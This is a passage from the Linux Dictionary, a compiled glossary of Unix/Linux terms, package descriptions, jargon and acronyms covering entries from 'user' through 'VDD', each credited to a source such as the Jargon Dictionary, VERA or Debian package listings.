More than 10,000 topic−oriented message bases that can be read and posted to. Also called newsgroups, please visit at http://www.dejanews.com/ From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

user

n. 1. Someone doing `real work' with the computer, using it as a means rather than an end. Someone who pays to use a computer. See real user. 2. A programmer who will believe anything you tell him. One who asks silly questions. [GLS observes: This is slightly unfair. It is true that users ask questions (of necessity). Sometimes they are thoughtful or deep. Very often they are annoying or downright stupid, apparently because the user failed to think for two seconds or look in the documentation before bothering the maintainer.] See luser. 3. Someone who uses a program from the outside, however skillfully, without getting into the internals of the program. One who reports bugs instead of just going ahead and fixing them. The general theory behind this term is that there are two classes of people who work with a program: there are implementors (hackers) and lusers. The users are looked down on by hackers to some extent because they don't understand the full ramifications of the system in all its glory. (The few users who do are known as `real winners'.) The term is a relative one: a skilled hacker may be a user with respect to some program he himself does not hack. A LISP hacker might be one who maintains LISP or one who uses LISP (but with the skill of a hacker). A LISP user is one who uses LISP, whether skillfully or not. Thus there is some overlap between the two terms; the subtle distinctions must be resolved by context. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

User Accounts and User Ownerships

UNIX intrinsically supports multiple users. Each user has a personal home directory /home/<username> in which the user's files are stored, hidden from other users. So far you may have been using the machine as the root user, who is the system administrator and has complete access to every file on the system. The root is also called the superuser. The home directory of the root user is /root. Note that there is an ambiguity here: the root directory is the topmost directory, known as the / directory. The root user's home directory is /root and is called the home directory of root. Other than the superuser, every other user has limited access to files and directories. Always use your machine as a normal user. Log in as root only to do system administration. This practice will save you from the destructive power that the root user has. In this chapter we show how to manually and automatically create new users. Users are also divided into sets, called groups. A user can belong to several groups and there can be as many groups on the system as you like. Each group is defined by a list of users that are part of that set. In addition, each user may have a group of the same name (as the user's login name), to which only that user belongs. From Rute−Users−Guide
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

User Datagram Protocol (UDP)

A communications protocol for the Internet network layer, transport layer, and session layer, which makes it possible to send a datagram transmissions from one computer to a recipient computer. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

user identification (UID)

Unique number assigned to a user from which the user is identified to various resources such as files in an operating system. From Redhat−9−Glossary

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

user interface
: All the features of a program or computer that overs the way people Interact with the computer. See command driven program and graphical user interface (GUI) utility program A program that assists you in maintaining and Improving the efficiency of a computer system. Mtcrosoft Plus! includes the System Agent, a utility program that defragments your hard disk, compresses rarely used files, and corrects manor disk problems You can set the System Agent to work any time you leave your computer alone for a certain period of tame, or to run early in the morning every day. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

user private group (UPG)
: Group assigned to a user account in which that user exclusively belongs; useful for managing file permissions for individual users. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

user−level (user−mode)
: On an operating system, there are fundamental two contexts a program can run in. The kernel context is within the core of the operating system, and no checks are performed to see if accesses to system resources are legal. The other context is user−level, where full access to the system is walled−off. Key point: Many network services these days now run as restricted user−level processes. This means when a remote hacker breaks into such a service, they do not get full control over the machine. They might be able to deface a webpage or cause other havoc, but they do not own the box. At this point, the intruder will need to run some sort of privilege escalation exploit in order to root the system. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

user−mode−linux
: User−mode Linux (kernel) User−mode Linux is a port of the Linux kernel to its own system call interface. It provides a kind of virtual machine, which runs Linux as a user process under another Linux kernel. This is useful for kernel development, sandboxes, jails, experimentation, and many other things. This package contains the kernel itself, as an executable program, and the associated kernel modules. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

useradd
: Create a new user or update default new user information From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

userdel
: Delete a user account and related files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

userdrake
: Userdrake is a user−friendly and powerful tool to add/edit/remove users from your Mandrake Linux system. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

userinfo
: display informations about a local user Userinfo is a small console utility to display as much information about a local user as possible. It currently supports: password file info, home directory mode, mail forwards/aliases/last read time/new time/folder size, utmp info and more... From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

userland
: n. Anywhere outside the kernel. "That code belongs in userland." This term has been in common use among Linux kernel hackers since at least 1997, and may have have originated in that community (a sighting has been reported from the 1995 archives of a NetBSD mailing list, however). From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

userlink−source
: BSD IP Tunneling Driver for Linux (source package) This driver is based on BSD if_tun driver. If_tun driver exchanges IP packets between the character device and the network interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

usermod

Modify a user account From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

usermode

The usermode package contains several graphical tools for users:userinfo, usermount and userpasswd. Userinfo allows users to change their finger information. Usermount lets users mount, unmount, andformat filesystems. Userpasswd allows users to change their passwords. Install the usermode package if you would like to provide users with graphical tools for certain account management tasks. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

usermode

The usermode package contains the userhelper program, which can be used to allow configured programs to be run with superuser privileges by ordinary users. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

username

a unique "name" by which each user is known to the system. This name is given to the user whenever they register to use the system. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

users

print the user names of users currently logged in to the current host From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

userv

`user services' − program call across trust boundaries userv allows one program to invoke another when only limited trust exists between them. It is a tool which can be used to avoid having to give other system services root privilege, and which allows users to more securely have programs provide services to others. userv can be useful as `glue' for system administrators; there are not many full−blown userv−using applications yet. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USF

Uplink State Flag (GPRS, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USG

Unix Support Group (org., Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USITA

United States Independent Telephone Association (org., USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USL

Unix Systems Laboratories (AT&T, Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USMTF

United States Message Text Format (USA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USN

Update Sequence Number From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USP

User Stack Pointer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USR

U.S. Robotics (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USR

User Service Routines From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USRT

Universal Synchronous Receiver/Transmitter (IC) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USSD

UnStructured Supplementary Services (GSM, mobile−systems) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USTA

United States Telephone Association (org., USA) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USV

Unterbrechungsfreie Strom−Versorgung From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

USWC

Uncached Speculative Write Combining (CPU) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UT

Universal Time [+0000] (TZ, GMT) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UT

Upper Tester From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

utah−glx

Hardware accelerated GLX module for XFree86 A hardware accelerated implementation of the GLX protocol for the XFree86 version 3 servers (this package only works with the XFree86 3.x X servers, the XFree86 4.x server comes with its own version of GLX). This package contains a loadable module for XFree86 that provides hardware accelerated OpenGL rendering for the following cards: * Matrox MGA−G200, MGA−G400 * NVidia Riva series * ATI Rage Pro (experimental) * Intel i810 * S3 ViRGE DX/GX/GX2/MX (experimental) * S3 Savage (experimental) From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

utalk

talk−like program with additional features utalk uses a protocol, based on UDP, which ensures a quick response even over links with high packet loss, allows editing of previously typed text, including scrollback, deletion and overstrike, and provides some additional features. It is not compatible with BSD talk program. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTC

see universal time coordinated (UTC). From Redhat−9−Glossary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTC

Universal Time Coordinated (DCE) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTC

Universal Time Coordinates [+0000] (TZ, GMT) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

utempter

Utempter is a utility that allows some non−privileged programs to have required root access without compromising system security. Utempter accomplishes this task by acting as a buffer between root and the programs. From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTF

UCS Transformation Format (Unicode, UCS) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTF−8/Unicode

Standard for unique and internationalized character encoding; allows for plain text files and other data to be represented in several languages and dialects. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTI
: Universal Text Interchange From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

util−linux
: Miscellaneous system utilities. A mixed bag of system utilities: arch blockdev chkdupexe cfdisk cytune dmesg fdisk fsck.minix getty getopt hwclock ipcrm ipcs mcookie mkfs mkfs.minix mkswap more namei pivot_root raw rdev setterm setsid tunelp whereis. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

utility program
: Program that supports using the computer. Utility programs, or "utilities," provide file management capabilities, text manipulation and archiving. Popular Linux utilities include grep, sed and kruiser. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTL
: User Trailer Label From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTLB
: Unified Translation Look−aside Buffer (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTM
: Universal Transaction Monitor From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTM
: Universeller TransaktionsMonitor (BS2000, Sinix, TP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

utmp
: allows one to discover information about who is currently using the system. There may be more users currently using the system, because not all programs use utmp logging. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTMS
: Universal Mobile Telecommunications System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTOPIA
: Universal Test & Operations Physical layer Interface for ATM (PL, ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTP
: Unshielded Twisted Pair [cable] (TP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTRAN
: UMTS Terrestrial Radio Access Network (UMTS, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTS
: Universal Timesharing System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTSL
: Use The Source, Luke (DFUe, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UTTC
: Universal Tape−To−Tape Converter From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUCICO

Unix to Unix Copy Incoming Copy Outgoing (Unix) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUCP

A set of programs and protocols that have become the basis for a worldwide network of UNIX computers. Named after the UNIX to UNIX Copy Program. From I−gloss
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUCP

A set of programs and protocols that have become the basis of a worldwide network between UNIX systems; named after the UNIX−to−UNIX copy program. From Linux Guide @FirstLinux
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUCP

An acronym for Unix to Unix CoPy, UUCP is a protocol used for the store−and−forward exchange of mail, Usenet News and other files, usually over a modem. From KADOWKEV
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uucp

Unix to Unix Copy Program UUCP will copy files to or from another (usually *nix) system, which also runs uucp. UUCP is used to transfer mail, news and random files between systems which are not connected by more modern networks. The communication can be made via modems, direct (hard−wired) serial connections or via an IP connection. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUCP

Unix to Unix Copy Protocol (Unix) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uucp (Unix−to−Unix Copy)

UUCP is a service on a machine that can transfer files. In the olden days when connectivity was expensive, most machines were not connected together but where instead interconnected web of UUCP links. Machines would dialup peers and download/upload files on a scheduled basis. Most e−mail and USENET news were transported this way. E−mail addresses back in the 1980s consisted of long strings that specified each machine in the UUCP network. People held contests to see who could create the most convoluted route to send e−mail back to themselves over the long distance across the world. Key point: Even though it is rarely used today, uucp accounts and services are often enabled on UNIX machine in such a way that they can be exploited in order to break into the machine. See also: uuencode From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUCPNET

n. obs. The store−and−forward network consisting of all the world's connected Unix machines (and others running some clone of the UUCP (Unix−to−Unix CoPy) software). Any machine reachable only via a bang path is on UUCPNET. This term has been rendered obsolescent by the spread of cheap Internet connections in the 1990s; the few remaining UUCP links are essentially slow channels to the Internet rather than an autonomous network. See network address. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uucpsend

Alternatives Frontend for UUCP Batching This package provides some neat features to do UUCP batching. Partially it is logically based on send−uucp and nntpsend which were included in early versions of INN. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Uudecode

A UNIX ultility program that decodes a uuencoded ASCII file, restoring the original binary file (such as a program or graphic) A uudecode utility is needed to decode the binary files posted to UseNet Programs with uudecoding capabilities are avaiable for Macintosh and Microsoft Windows 95 systems, and are often built into UseNet newsreaders. From QUECID

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uudecode

decode a file created by uuencode From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uudeview

Smart multi−file multi−part decoder (command line) This is a command−line decoder and encoder for files encoded with the following formats: uuencode, xxencode, BASE64, quoted printable, and BinHex. This package used to contain an X11−based GUI decoder called xdeview. That program is now in the xdeview package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUEncode

A popular method of exchanging binary files in Mail and via Usenet News the uuencode program converts a binary file into a (larger) file of alphanumeric characters that will not be corrupted when sent as a text file. UUEncode is available as a Unix command as well as MS−DOS and Macintosh versions. To convert the file back to the original binary form you can use the uudecode program or the popular Unix extraction program uuconvert. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Uuencode

A UNlX utility program that transforms a binary file such as a program or graphic, into coded ASCII text. This text can be transferred by means of the Internet or posted to a UseNet newsgroup At the receiving end, the uudecode utility decodes the message and restores the binary file. Programs with uuencoding capabilities are available for Macintosh and Microsoft Windows 95 systems, and are often built into UseNet newsreaders. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uuencode

encode a binary file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uuencode

format of an encoded uuencode file From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUENCODE (Unix to Unix Encoding)

A method for converting files from Binaryto ASCII (text) so that they can be sent across the Internet via email. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUencode/UUdecode

The 'UU' part refers to 'Unix to Unix' − the most common host to host connection on the Internet. The 'encode/decode' part refers to a standard for converting non−ASCII data transmission via email. From Faculty−of−Education http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUencoding

A method of converting binary files to ASCII so they can be sent to other Internet users. The uuencode program converts the binary file to ASCII, and the uudecode program returns the file to its original form. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUG

Unix User Group (org., Unix, user group) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUID

Universal Unique IDentifier From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uuidgen

command−line utility to create a new UUID value From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUNET

Unix to Unix NETwork (org., ISP) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UUT

Unit−Under−Test From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uutraf

an UUCP traffic analyzer and cost estimator uutraf analyses your Log and Stats files and estimates the cost of your phone bill and UUCP provider bill. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UVL

User Volume Label From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UW

Ultra Wide [SCSI] (SCSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uw−imapd

remote mail folder access server IMAP (the Interactive Mail Access Protocol) is a mechanism for accessing mail folders and the messages in them remotely, ie with your user mail program running on a different machine to the one where all the messages are stored. If you do install uw−imapd you will almost certainly want to install a Mail Transfer Agent such as Smail or Sendmail, as remote mail programs which use IMAP to access incoming and saved mail will usually want to send mail using SMTP, often to the same machine. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uw−imapd−ssl

remote mail folder access server IMAP (the Interactive Mail Access Protocol) is a mechanism for accessing mail folders and the messages in them remotely, ie with your user mail program running on a different machine to the one where all the messages are stored. If you do install uw−imapd you will almost certainly want to install a Mail Transfer Agent such as Smail or Sendmail, as remote mail programs which use IMAP to access incoming and saved mail will usually want to send mail using SMTP, often to the same machine. This server has SSL support built in. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uwm

The ultimate window manager for UDE uwm is the ultimate window manager for UDE − the Unix Desktop Environment. UDE is more then just another windows manager. Designed to compensate for the shortcomings of many other similar packages, UDE features many innovative improvements. The project does not use any special GUI−Libraries such as Qt or GTK+ and is based on the standard Xlibs (also to make UDE faster) It features: * No title bars with icons etc. * High performance, since it just uses standard libraries UDE − get used to it... From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

UXGA

Ultra eXtended Graphics Adapter From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

uxterm

terminal emulator for X, with Unicode support From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

V

v4l−conf
tool to configure video4linux drivers This is a small tool to configure a video4linux device driver. It is required to make the video overlay work in fbtv and xawtv. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VA
Virtual Acoustic From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAC
Visual Age C++ (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vacation
email autoresponder Vacation returns a message to the sender of a message telling them that you are currently not reading your mail. This program is derived from the NetBSD version and has most of the features present in the linux, solaris, AIX and *BSD versions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VACS
Visual Access Control System (SNI, CCD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAD
Value Added Driver From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAD
Voice Activity Detection (GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VADD
Value Added Disk Driver From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VADD
VisualAge Developper Domain (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAFC
VESA Advanced Feature Connector (VESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAG
VRML Architecture Group (org., VRML) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAGI
VESA Advanced Graphic Interface (VESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAN
Value Added Network From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vanilla
adj. [from the default flavor of ice cream in the U.S.] Ordinary flavor, standard. When used of food, very often does not mean that the food is flavored with vanilla extract! For example, `vanilla wonton soup' means ordinary wonton soup, as opposed to hot−and−sour wonton soup. Applied to hardware and software, as in "Vanilla Version 7 Unix can't run on a vanilla 11/34." Also used to orthogonalize chip nomenclature; for instance, a 74V00 means what TI calls a 7400, as distinct from a 74LS00, etc. This word differs from canonical in that the latter means `default', whereas vanilla simply means `ordinary'. For example, when hackers go on a great−wall, hot−and−sour soup is the canonical soup to get (because that is what most of them usually order) even though it isn't the vanilla (wonton) soup. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VANS

Value Added Network Services From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAP

Value Added Process (Netware, NLM, predecessor) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAPI

Virtual [ISDN] Application Programming Interface (ISDN, CAPI, API) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

var

/veir/ or /var/ n. Short for `variable'. Compare arg, param. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAR

Value−Added Reseller From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

variable

1. The condition of an object (such as a file, value, or state) that can change at any time, increasing the functionality and flexibility of data. 2. Setting or parameter defined in shell environments when a user logs into a system or a developer compiles a program for a certain computing environments. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

variable width fonts

Most of the fonts you will use are variable width. See fixed width fonts. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

varmon

VA RAID monitor A textbased tool to monitor DAC 960 RAID controllers. This includes Mylex RAID cards from the 960 and 1100 series, eXteremeRAID 2000 & 3000, AcceleRAID 352 & 170. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAROS

VAriable Refraction Optical System (Canon) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAS

Value Added Services From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VASCAR

Visual Average Speed Computer And Recorder From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAST

Virtual Archive Storage Technology From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vat

LBNL audio conferencing tool over the internet. The LBNL audio tool, vat, is a real−time, multi−party, multimedia application for audio conferencing over the Internet. Vat is based on the Draft Internet Standard Real−time Transport Protocol (RTP) developed by the IETF Audio/Video Transport working group. RTP is an application−level protocol implemented entirely within vat −− you need no special system enhancements to run RTP. Although vat can be run point−to−point using standard unicast IP addresses, it is primarily intended as a multi−party conferencing application. To make use of the conferencing capabilities, your system must support IP Multicast, and ideally, your network should be connected to the IP Multicast Backbone (MBone). Vat provides only the audio portion of a multimedia conference; video, whiteboard, and session control tools are implemented as separate applications. Our video tool is called vic and our whiteboard tool wb, UCL developed the session directory tool sdr Other related applications include ISI's Multimedia Conference Control, mmcc, the Xerox PARC Network Video tool, nv and the INRIA Video−conferencing System, ivs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAT

[UDF] Virtual Allocation Table (UDF, CD−R) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VATM

Verband der Anbieter von Telekommunikations− und Mehrwertdiensten Org., DFUe, Germany From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAX

/vaks/ n. 1. [from Virtual Address eXtension] The most successful minicomputer design in industry history, possibly excepting its immediate ancestor, the PDP−11. Between its release in 1978 and its eclipse by killer micros after about 1986, the VAX was probably the hacker's favorite machine of them all, esp. after the 1982 release of 4.2 BSD Unix (see BSD). Esp. noted for its large, assembler−programmer−friendly instruction set −− an asset that became a liability after the RISC revolution. 2. A major brand of vacuum cleaner in Britain. Cited here because its sales pitch, "Nothing sucks like a VAX!" became a sort of battle−cry of RISC partisans. It is even sometimes claimed that DEC actually entered a cross−licensing deal with the vacuum−Vax people that allowed them to market VAX computers in the U.K. in return for not challenging the vacuum cleaner trademark in the U.S. A rival brand actually pioneered the slogan: its original form was "Nothing sucks like Electrolux". It has apparently become a classic example (used in advertising textbooks) of the perils of not knowing the local idiom. But in 1996, the press manager of Electrolux AB, while confirming that the company used this slogan in the late 1960s, also tells us that their marketing people were fully aware of the possible double entendre and intended it to gain attention. And gain attention it did − the VAX−vacuum−cleaner people thought the slogan a sufficiently good idea to copy it. Several British hackers report that VAX's promotions used it in 1986−1987, and we have one report from a New Zealander that the infamous slogan surfaced there in TV ads for the product in 1992. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAX

Virtual Address eXtension (DEC, VAX) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VAXELN

VBNS

Very highspeed Backbone Network Service (NSF, ATM), "vBNS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vbox3

voice response system for isdn4linux Please install also raccess4vbox3 and refer to /usr/share/doc/raccess4vbox3. This is vbox3 taken from isdn4k−utils cvs repository http://www.isdn4linux.de/cgi−bin/cvsweb.cgi/isdn4k−utils/vbox3/ on December 2000. Since the upstream author no longer works on this project, I applied the vboxputty patch and did some more changes, now found in the new source tree vbox3−x.x.x.tar.gz. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VBR

Variable Bit Rate (ATM, CBR, ABR, UBR, QOS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VBRNRT

Variable Bit Rate − Non Real Time (VBR, ATM), "VBR−NRT" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VBRRT

Variable Bit Rate − Real Time (VBR, ATM), "VBR−RT" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VBS

Visual Basic Script (MS, BASIC, VB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VBX

Visual Basic eXtensions (MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VC

Virtual Channel / Circuit (ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VC

Virtual Console From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCA

Voltage Controlled Amplifier (audio) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCC

Virtual Channel Connection (ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCD

Video Compact Disk (CD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vcdtools

Creates Video CD (VCD) filesystem images This package includes two utilities "mkvcdfs" and "vcdmplex". mkvcdfs creates filesystem images for video CDs, which can then be written to CD with the cdrdao program. vcdmplex is used to multiplex MPG audio and data streams into a format suitable for a video CD. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCF

Voltage Controlled Filters From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vcg

A Visualization Tool for compiler graphs The VCG tool reads a textual and readable specification of a graph and visualizes the graph. If not all positions of nodes are fixed, the tool layouts the graph using several heuristics as reducing the number of crossings, minimizing the size of edges, centering of nodes. The specification language of the VCG tool is nearly compatible to GRL, the language of the edge tool, but contains many extensions. The VCG tool allows folding of dynamically or statically specified regions of the graph. It uses colors and runs on X11. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vche

Virtual Console Hex Editor Standard hex editor, whose main advantage is the ability to write directly to the virtual terminals and thus display all 0−255 displayable characters on the terminal. Includes support for xterm and curses as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCI
: Video Cursor Interface (VESA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCI
: Virtual Channel Identifier (ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCI
: Virtual Channel Identifier (ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCI
: Virtual Connection Identifier (ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCL
: Virtual Channel Link (UNI, ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCL
: Visual Class Library (StarOffice) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCL
: Visual Component Library (Borland, Delphi) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCM
: Windows Conflict Manager (MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCO
: Voltage Controlled Oscillator From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCOS
: Visible Caching Operating System (DSP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCP
: Vector Control Processor From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCS
: Virtual Circuit System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCSDRAM
: Virtual Channel − Synchronous Dynamic Random Access Memory (RAM, DRAM, IC, NEC), "VC−SDRAM" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VCSEL
: Vertical−Cavity Surface Emitting LASER From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

vcut
: cuts Ogg Vorbis files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDAFS
: Verband Deutscher Automobilhersteller FlaechenSchnittstelle (DIN, CIM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDASEDAS

Verband Deutscher Automobilhersteller / Standardisiertes Einheitliches DatenAustauschSystem (EDI), "VDA/SEDAS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

VDD

